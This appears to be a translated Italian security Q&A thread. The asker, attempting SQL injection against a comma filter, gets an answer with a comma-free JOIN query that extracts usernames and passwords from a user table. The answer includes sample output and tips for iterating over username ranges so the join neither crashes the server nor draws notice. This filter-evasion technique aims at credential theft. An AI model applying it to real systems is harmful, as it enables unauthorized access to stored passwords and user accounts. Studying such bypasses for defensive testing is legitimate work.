Come rendere SQL selezionare la query senza virgola? [chiuso]

1

Sto provando SQLi e la virgola è stata filtrata lì. Come effettuare la richiesta SQL SELECT senza virgola?

    
posta Someone 23.03.2016 - 11:43
fonte

1 risposta

3

Supponiamo che tu debba recuperare USERNAME,PASSWORD colonne form USERTABLE .

In questo esempio La USERTABLE ha dati come mostrato sotto

mysql> SELECT * FROM USERTABLE;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| BOB      | BOBPASS    |
| ALICE2   | ALICE2PASS |
| BOB2     | BOB2PASS   |
+----------+------------+
4 rows in set (0.00 sec)

Ora l'SQL senza una virgola (,) per recuperare sia il nome utente sia la password possono essere come sotto

SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT1 JOIN (SELECT PASSWORD FROM USERTABLE WHERE USERNAME>"A" AND USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PASSWORD OR 1=1

L'output è il seguente

mysql> SELECT * FROM (SELECT USERNAME FROM USERTABLE WHERE USERNAME<"B")UT1 JOIN
 (SELECT PASSWORD FROM USERTABLE WHERE USERNAME<"B")UT2 ON  UT1.USERNAME=UT2.PAS
SWORD OR 1=1;
+----------+------------+
| USERNAME | PASSWORD   |
+----------+------------+
| ALICE    | ALICEPASS  |
| ALICE2   | ALICEPASS  |
| ALICE    | ALICE2PASS |
| ALICE2   | ALICE2PASS |
+----------+------------+
4 rows in set (0.00 sec)

Devi attentamente mettere i filtri a FROM USERTABLE WHERE USERNAME<"B" . Se si inserisce qualcosa come FROM USERTABLE WHERE USERNAME<"Z" , probabilmente si bloccherà il server SQL a causa di un grosso join.

Solo per menzionare se pensi che il database sia molto grande, poi lucidi i tuoi filtri come USERNAME>"AA" AND USERNAME<"AF" in modo che venga eseguito un piccolo insieme di dati e sia veloce. Nella prossima iterazione puoi usare USERNAME>"AF" AND USERNAME<"AL" e così via.

E osserva che hai ottenuto le combinazioni CROSSJOIN di nomi utente e password. Otterrai N X N di righe. E potresti considerare le righe a multipli di N come N,2N,3N ecc per una combinazione valida di nomi utente e password in caso di Mysql.

Per alcuni altri software di database potrebbe essere necessario provare tutte le combinazioni di USERNAME,PASSWORD recuperate.

    
risposta data 23.03.2016 - 12:40
fonte

Leggi altre domande sui tag